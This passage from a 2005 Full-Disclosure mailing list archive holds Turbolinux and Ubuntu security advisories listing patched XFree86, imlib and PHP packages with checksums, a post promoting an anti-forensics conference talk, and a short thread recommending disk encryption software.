   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-xfs-4.2.0-31.i586.rpm
        71877 5d4624ac221daa59fa0be17667fa1402

 <Turbolinux 8 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/XFree86-4.2.0-31.src.rpm
     59402584 d2d88c18b1130b86927152ff03ece881

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-100dpi-fonts-4.2.0-31.i586.rpm
     12400862 55aca027c4a93336f441b2f97edebc38
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-4.2.0-31.i586.rpm
     22742661 8078bd1063760502eacaff6b2a624f17
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-75dpi-fonts-4.2.0-31.i586.rpm
     10731374 57a913169b1210046e66b4cdfa1d4add
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-contrib-4.2.0-31.i586.rpm
       307956 9b8262aee19812f4ddd570f11385b080
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-cyrillic-fonts-4.2.0-31.i586.rpm
       397535 90a5212d0f613b73324a5d9a92bd7b5e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-devel-4.2.0-31.i586.rpm
      4614017 f580d9b9d34fc52855421429adf5963b
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-libs-4.2.0-31.i586.rpm
      2129819 bb11ef81170bd7fe0ce6497863708914
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-xfs-4.2.0-31.i586.rpm
        71862 dbed6ee63513445d15902040b7aba2e3

 <Turbolinux 7 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/XFree86-4.1.0-40.src.rpm
     56822593 d1dc66c85ed9362c5a60c01a9ff4f3b6

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-100dpi-fonts-4.1.0-40.i586.rpm
     12395748 f7480f3e13f0eac6cc86ca571373d4cd
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-4.1.0-40.i586.rpm
     20305802 48332f6693f31a7df62b33d55d50d41e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-75dpi-fonts-4.1.0-40.i586.rpm
     10728284 7086a66f0bf56ad672036f6a34f92800
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-contrib-4.1.0-40.i586.rpm
       241514 2b57c0c668640d15abec76d705e7ad02
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-cyrillic-fonts-4.1.0-40.i586.rpm
       393107 11007a23de8827f279e0b8f70b4e1685
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-devel-4.1.0-40.i586.rpm
      4081975 53a48bd6a8e9b1db753973780512cc8c
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-libs-4.1.0-40.i586.rpm
      2152590 b6ba737c3f676346837841a88484b69f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-xfs-4.1.0-40.i586.rpm
        65361 020ecfddb6a42d11d8f89b54c52f273e

 <Turbolinux 7 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/XFree86-4.1.0-40.src.rpm
     56822593 f499b57975db35a67b7cc30f5611dd95

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-100dpi-fonts-4.1.0-40.i586.rpm
     12395916 9f5c90bc2292eec9ad8258fa27fcef05
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-4.1.0-40.i586.rpm
     20305729 c592c0b7ded715b684f373893a02fdad
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-75dpi-fonts-4.1.0-40.i586.rpm
     10726676 f80f6b3efa546a16e6ff1519f8282c3e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-contrib-4.1.0-40.i586.rpm
       241629 5b0d933767e2c4f75171402d7fc8b23d
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-cyrillic-fonts-4.1.0-40.i586.rpm
       393113 afad572afbed7ace7f57eb3552bd0e18
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-devel-4.1.0-40.i586.rpm
      4081652 cb1a1892dd927001bc1bdde67603f872
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-libs-4.1.0-40.i586.rpm
      2152078 c5548d688b1f8580363fb427d1eae7fc
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-xfs-4.1.0-40.i586.rpm
        65308 bd873f1147e4420bcdc324f6f4fcaf14


 References:

 CVE
   [CAN-2004-0687]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0687
   [CAN-2004-0688]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0688
   [CAN-2004-0914]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0914


===========================================================
* imlib -> Two vulnerabilities discovered in imlib
===========================================================

 More information:
    Imlib is a display depth-independent image loading and rendering library.
    Imlib is designed to simplify and speed up the process of loading images
    and obtaining X Window System drawables.  Imlib provides many simple
    manipulation routines which can be used for common operations.

    Multiple issues have been discovered in imlib:
    - Multiple heap-based buffer overflows
    - Multiple integer overflows in the imlib image handler

 Impact:
    These vulnerabilities may allow remote attackers to execute arbitrary
    code via malformed image files.

 Affected Products:
    - Turbolinux 10 Server
    - Turbolinux Home
    - Turbolinux 10 F...
    - Turbolinux 10 Desktop
    - Turbolinux 8 Server
    - Turbolinux 8 Workstation
    - Turbolinux 7 Server
    - Turbolinux 7 Workstation

 Solution:
    Please use the turbopkg (zabom) tool to apply the update. 
 ---------------------------------------------
 [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home]
 # turbopkg
 or
 # zabom -u imlib imlib-devel imlib-cfgeditor imlib-debug

 [other]
 # turbopkg
 or
 # zabom update imlib imlib-devel
 ---------------------------------------------


 <Turbolinux 10 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/imlib-1.9.14-9.src.rpm
       671199 8fa559a156b2f32932b0c056e91cab10

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-1.9.14-9.i586.rpm
       156437 903c55bb189dbbbcfbd2da0e9367a979
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-cfgeditor-1.9.14-9.i586.rpm
       237300 80169d1933dfa0d055309291a2acaf65
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-debug-1.9.14-9.i586.rpm
       881100 b4456c4ee4b63ec72e40ad515718cd01
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-devel-1.9.14-9.i586.rpm
       227288 a51634b47f72ed7892fe7f0ce7493d12

 <Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/imlib-1.9.14-9.src.rpm
       671199 65fa097e57bf9e8994fa33c4b228ee1b

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/imlib-1.9.14-9.i586.rpm
       155675 118b05bce35378acdff10f25f4e94ac5
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/imlib-devel-1.9.14-9.i586.rpm
       227719 851c484e13d3d23ef8366e9479e5f5b2

 <Turbolinux 8 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/imlib-1.9.13-10.src.rpm
       835902 0cdc1b2b11958b9e5656150184546dc1

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-1.9.13-10.i586.rpm
       138166 726d61918da3282354079e767c66987d
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-cfgeditor-1.9.13-10.i586.rpm
       234782 a344ccb8bf63c40cb68118096aa1afa3
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-devel-1.9.13-10.i586.rpm
       227939 783ba488fb78504d3659bd16a2faea41

 <Turbolinux 8 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/imlib-1.9.13-10.src.rpm
       835902 b47e72aff2d37923ce7d51f0e21bbbad

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-1.9.13-10.i586.rpm
       138121 9303aa6f89427d6803df4d1c2abb406f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-cfgeditor-1.9.13-10.i586.rpm
       234839 c62f1822cd7395e36eb24d490330d441
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-devel-1.9.13-10.i586.rpm
       227967 5766fdbaa97fd1cb90156fd3ad8e55fb

 <Turbolinux 7 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/imlib-1.9.10-7.src.rpm
       793613 97708aba2aba0434735c9f0e9e56cf68

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/imlib-1.9.10-7.i586.rpm
       128854 060b6e083f34ae092eaaa499014d2e48
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/imlib-devel-1.9.10-7.i586.rpm
       219639 0006ab5e52362c8501c0b77e41a8c5f4

 <Turbolinux 7 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/imlib-1.9.10-7.src.rpm
       793613 fd71ba9137199f255d2134d5856289ec

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-1.9.10-7.i586.rpm
       128838 77bfcda3d83b2bee97408b48af82d161
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-cfgeditor-1.9.10-7.i586.rpm
       233339 1a77a724824e43bd711c964cab1e652d
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-devel-1.9.10-7.i586.rpm
       219564 11ca9e1c806156aa67473024081e5dad


 References:

 CVE
   [CAN-2004-1025]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1025
   [CAN-2004-1026]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1026


 * You may need to update the turbopkg tool before applying the update.
Please refer to the following URL for detailed information.

  http://www.turbolinux.com/download/zabom.html
  http://www.turbolinux.com/download/zabomupdate.html

Package Update Path
http://www.turbolinux.com/update/

============================================================
 * To obtain the public key

Here is the public key

 http://www.turbolinux.com/security/

 * To unsubscribe from the list

If you ever want to remove yourself from this mailing list,
  you can send a message to <server-users-e-ctl at turbolinux.co.jp> with
the word `unsubscribe' in the body (don't include the quotes).

unsubscribe

 * To change your email address

If you ever want to chage email address in this mailing list,
  you can send a message to <server-users-e-ctl at turbolinux.co.jp> with
the following command in the message body:

  chaddr 'old address' 'new address'

If you have any questions or problems, please contact
<supp_info at turbolinux.co.jp>

Thank you!

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQFB71FMK0LzjOqIJMwRAsEUAJ9599AhFk55nlg0VUIkrleS7wcqTQCfQfUB
l9TjxOhzPUipkIw4gPqffjU=
=OkBL
-----END PGP SIGNATURE-----






From bcs2005 at bellua.com  Thu Jan 20 12:37:50 2005
From: bcs2005 at bellua.com (Anthony Zboralski)
Date: Thu, 20 Jan 2005 19:37:50 +0700
Subject: [Full-Disclosure] Re: [ISN] Book Review: Forensic Discovery 
In-Reply-To: <Pine.LNX.4.44.0501190155350.21706-100000@idle.curiosity.org>
References: <Pine.LNX.4.44.0501190155350.21706-100000@idle.curiosity.org>
Message-ID: <190A3FEA-6AE0-11D9-97C7-000A95B1B62E@bellua.com>


On 19 Jan 2005, at 14:55, InfoSec News wrote:

> http://books.slashdot.org/books/05/01/18/2110235.shtml
>
> [ http://www.amazon.com/exec/obidos/ASIN/020163497X/c4iorg  - WK]
>
> Author: Dan Farmer & Wietse Venema
> Pages: 198
> Publisher: Addison Wesley Professional
> Rating: 10
> Reviewer: Ben Rothke
> ISBN: 020163497X
> Summary: Forensic Discovery overview
>
> Security luminaries Dan Farmer and Wietse Venema wrote one of the
> first vulnerability scanners (SATAN) almost 10 years ago; SATAN was
> the precursor to ISS Scanner, Retina and nmap. Venema wrote such
> well-known security applications as the TCP Wrapper program and the
> Postfix mail server. Farmer and Venema's new book Forensic Discovery
> is a valuable book that grounds a computer-savvy reader in the world
> of digital forensics.

Source: http://hert.org/story.php/58

After reading the review of Dan Farmer and Wietse's Forensic Discovery, 
you should hear about
The Grugq who got fired from @stake after writing a Phrack Article in 
which he exposed numerous
flaws in The Coroner's Toolkit by Dan & Wietse.

Before you read this book, check out the video (bittorrent) of The 
Grugq on The Art of Defiling and
see how to defeat "industry grade" forensic tools and techniques .

You can also meet him at a hacker convention near you (in March at 
BCS2005 in Jakarta, in April
  at Black Hat in S'pore and Amsterdam and at HITB2005 Bahrain.

Video of the Grugq's Speech, The Art of Defiling:
   http://www.hert.org/z/grugq.torrent (Courtesy of HITB2004)

Presentation Slides:
   http://packetstormsecurity.com/hitb04/hitb04-grugq.pdf (from HITB2004)

Phrack article:
   http://www.phrack.org/show.php?p=59&a=6 (Phrack 59)

Grugq's Profile:
   http://www.bellua.com/bcs2005/asia05.speakers.html#grugq

The Grugq has been researching anti-forensics for almost 5 years. He 
has presented
to the UK's largest forensic practitioner group where he scared 
Scotland Yard.
  Grugq has worked to secure the networks and hosts of global 
corporations, and
he's also worked for security consulting companies. His work as a 
security consultant
was cut short temporarily following the publication of an article on 
anti-forensics.

P.S. Is it illegal to talk about anti-forensics under the Patriot Act?

gaius

-- 
Bellua Cyber Security Asia 2005 - http://www.bellua.com/bcs2005
21-22 March - The Workshops - 23-24 March - The Conference
bcs2005 at bellua.com - Phone: +62213918330 HP:+628159102495



From martin.pitt at canonical.com  Thu Jan 20 17:29:42 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Thu, 20 Jan 2005 18:29:42 +0100
Subject: [Full-Disclosure] [USN-66-1] PHP vulnerabilities
Message-ID: <20050120172942.GA28776@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-66-1		   January 20, 2005
php4 vulnerabilities
http://www.securitytracker.com/alerts/2004/Oct/1011984.html
http://www.securityfocus.com/archive/1/384920
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

libapache2-mod-php4
php4-cgi
php4-curl

The problem can be corrected by upgrading the affected package to
version 4:4.3.8-3ubuntu7.3. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

FraMe from kernelpanik.org reported that the cURL module does not
respect open_basedir restrictions. As a result, scripts which used
cURL to open files with an user-specified path could read arbitrary
local files outside of the open_basedir directory.

Stefano Di Paola discovered a vulnerability in PHP's shmop_write()
function. Its "offset" parameter was not checked for negative values,
which allowed an attacker to write arbitrary data to arbitrary memory
locations. A script which passed unchecked parameters to
shmop_write() could possibly be exploited to execute arbitrary code
with the privileges of the web server and to bypass safe mode
restrictions.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4_4.3.8-3ubuntu7.3.diff.gz
      Size/MD5:   610960 fe787f903688a67343f674ee02bd00b1
    http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4_4.3.8-3ubuntu7.3.dsc
      Size/MD5:     1624 2ca8c4097c0f65a302340ebd3679e6c8
    http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4_4.3.8.orig.tar.gz
      Size/MD5:  4832570 dd69f8c89281f088eadf4ade3dbd39ee

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4-dev_4.3.8-3ubuntu7.3_all.deb
      Size/MD5:   331490 e003d55ed3e4b213b179ec30facfe0f3
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-pear_4.3.8-3ubuntu7.3_all.deb
      Size/MD5:   332580 19eea2d0d5618bfd85a39efef1b812e6

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/p/php4/libapache2-mod-php4_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:  1687328 f5e26310e00095ebcc54b0b20b8716c2
    http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4-cgi_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:  3195630 456d6f35fa09b258e7d0da34d6bf9b28
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-curl_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:    17080 c52586ddbb105f17ce5ebf6cf87bd592
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-domxml_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:    40422 fe6fe77c231075a2a667e613cbcd5c99
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-gd_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:    33492 07ecfe487a4b1f1ea768483252fbda37
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-ldap_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:    21226 484861d9f894b57d1f8e2a37e7449041
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mcal_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:    18406 7de19aade4ffa2f9ba2b424736b6d168
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mhash_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:     7988 42b5eee875348b468b8ca21baa4c5164
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mysql_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:    23106 fe4f90839fed4a12e2b398b3f563a3d9
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-odbc_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:    28318 7ec809b18ce7e231def1f6e499259f76
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-recode_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:     7608 95ec04d122f22eebce82a817ee89e669
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-snmp_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:    12966 a55b05cffdaf5cd67cb060c9a2a1df06
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-sybase_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:    21494 c4b5a4561645ca55f5ef506ce2dea114
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-xslt_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:    17242 f2c0f1ab1734c38fdb749d72182bcc06
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4_4.3.8-3ubuntu7.3_amd64.deb
      Size/MD5:  1703362 897ffad665ac90da2b51f481c13bc9d5

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/p/php4/libapache2-mod-php4_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:  1629742 372b8436c25bce61a1921390a48c7e00
    http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4-cgi_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:  3042580 8dcd4d214491386e7831ad50c22b53b9
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-curl_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:    16642 2bfe89f3e1f39e34c6755108f522dd23
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-domxml_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:    35560 8a4738c2c6e3f38ee09a8344d33803bf
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-gd_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:    31072 89b90051a0dccd3df1d40173f7e1c2e2
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-ldap_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:    19470 089aca8ac64f2f60916b8ac732859a90
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mcal_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:    17050 f34eff3de956e0f7bd9493125428fedc
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mhash_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:     7740 f9ee71c58949fe011afc3bd1189be744
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mysql_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:    20904 7e6eb75d915e88c8cafa63c905571f02
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-odbc_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:    26064 0579e7944930fe37aea736ea64539fa9
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-recode_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:     7372 061ecb634528d74f51bc552dd293704c
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-snmp_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:    12320 24cfade7758174be7982d5e7b91f1228
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-sybase_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:    20012 449ab9d816a60fcf0e88e2e53cda7012
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-xslt_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:    15876 71b352df04640ced953b82991ad5e5cb
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4_4.3.8-3ubuntu7.3_i386.deb
      Size/MD5:  1644196 4c1d7fc89fcc3631fb1595316bbbf671

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/p/php4/libapache2-mod-php4_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:  1689540 c88fded38c3c929636bbf7fc00e59e3a
    http://security.ubuntu.com/ubuntu/pool/main/p/php4/php4-cgi_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:  3202338 5074ee6d65bac1f1ffca4b8beabd0342
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-curl_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:    18924 ef2f905749274b9313dbbafd76cc59be
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-domxml_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:    38276 7de47a9bbba3e6b1a9f67b488414fbe8
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-gd_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:    34006 c16dd35aa2361d785f7d51c39dc7f392
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-ldap_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:    21468 b7d2ed10648d505eded2aa15a2614acb
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mcal_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:    19308 45846194a0f7c1b73049837004fda130
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mhash_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:     9304 9006a8318f3aefc71edad02361e1d147
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-mysql_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:    22678 a3b089b21831be6cf71387cc379bb0ef
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-odbc_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:    28402 61fa92e166879961b767a947fd4deadc
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-recode_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:     9000 f6ac1c2f65a68c6353b894a8e6b33288
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-snmp_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:    14322 adb29a3234450616f09d36bc070d7fbb
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-sybase_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:    22190 a63a95e1e486a649d9c398eb048615a7
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4-xslt_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:    18058 dac4907075ca5cd0450ce58483c32994
    http://security.ubuntu.com/ubuntu/pool/universe/p/php4/php4_4.3.8-3ubuntu7.3_powerpc.deb
      Size/MD5:  1707200 53f7d5974d1480a238fc03bb086b0945
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050120/97b911f1/attachment.bin 

From mkleinpeter at ebay.com  Thu Jan 20 18:13:25 2005
From: mkleinpeter at ebay.com (Mike Klein)
Date: Thu, 20 Jan 2005 10:13:25 -0800
Subject: [Full-Disclosure] harddisk encryption
In-Reply-To: <31972.1106213279@www38.gmx.net>
References: <31972.1106213279@www38.gmx.net>
Message-ID: <41EFF4C5.2070809@ebay.com>

Have you considered PGPdisk?

Not only is crypto proven, but you get source code too (which is usually 
the case with truly proven crypto technologies).


-mike klein

Lentila de Vultur wrote:

>hi,
>
>i'm evaluating a software that performs harddisk encryption for deploying in
>my company. the software in question is utimaco safeguard easy v4.10
>(www.utimaco.com) running on w2k.
>
>i am interested in communitty's oppinion about this product. has anyone
>performed a detailed analysis of it? i googled around but i couldn't find
>much information, except that the version 3.20 sr1 has earned an eal3
>certification from the german federal agency for it security.
>
>tia
>
>  
>


From arr at watson.org  Thu Jan 20 19:23:54 2005
From: arr at watson.org (Andrew R. Reiter)
Date: Thu, 20 Jan 2005 19:23:54 +0000 (GMT)
Subject: [Full-Disclosure] harddisk encryption
In-Reply-To: <41EFF4C5.2070809@ebay.com>
References: <31972.1106213279@www38.gmx.net> <41EFF4C5.2070809@ebay.com>
Message-ID: <20050120192210.O91936@fledge.watson.org>


Hrm; this, I believe, is only supported under FreeBSD, but check out:

http://phk.freebsd.dk/pubs/bsdcon-03.gbde.paper.pdf

I haven't followed the entire thread so not sure if this would be useful
to you or not.

Cheers,
Andrew


On Thu, 20 Jan 2005, Mike Klein wrote:

:Have you considered PGPdisk?
:
:Not only is crypto proven, but you get source code too (which is usually
:the case with truly proven crypto technologies).
:
:
:-mike klein
:
:Lentila de Vultur wrote:
:
:>hi,
:>
:>i'm evaluating a software that performs harddisk encryption for deploying in
:>my company. the software in question is utimaco safeguard easy v4.10
:>(www.utimaco.com) running on w2k.
:>
:>i am interested in communitty's oppinion about this product. has anyone
:>performed a detailed analysis of it? i googled around but i couldn't find
:>much information, except that the version 3.20 sr1 has earned an eal3
:>certification from the german federal agency for it security.
:>
:>tia
:>
:>
:>
:_______________________________________________
:Full-Disclosure - We believe in it.
:Charter: http://lists.netsys.com/full-disclosure-charter.html
:
:

--
Andrew R. Reiter
arr at watson.org
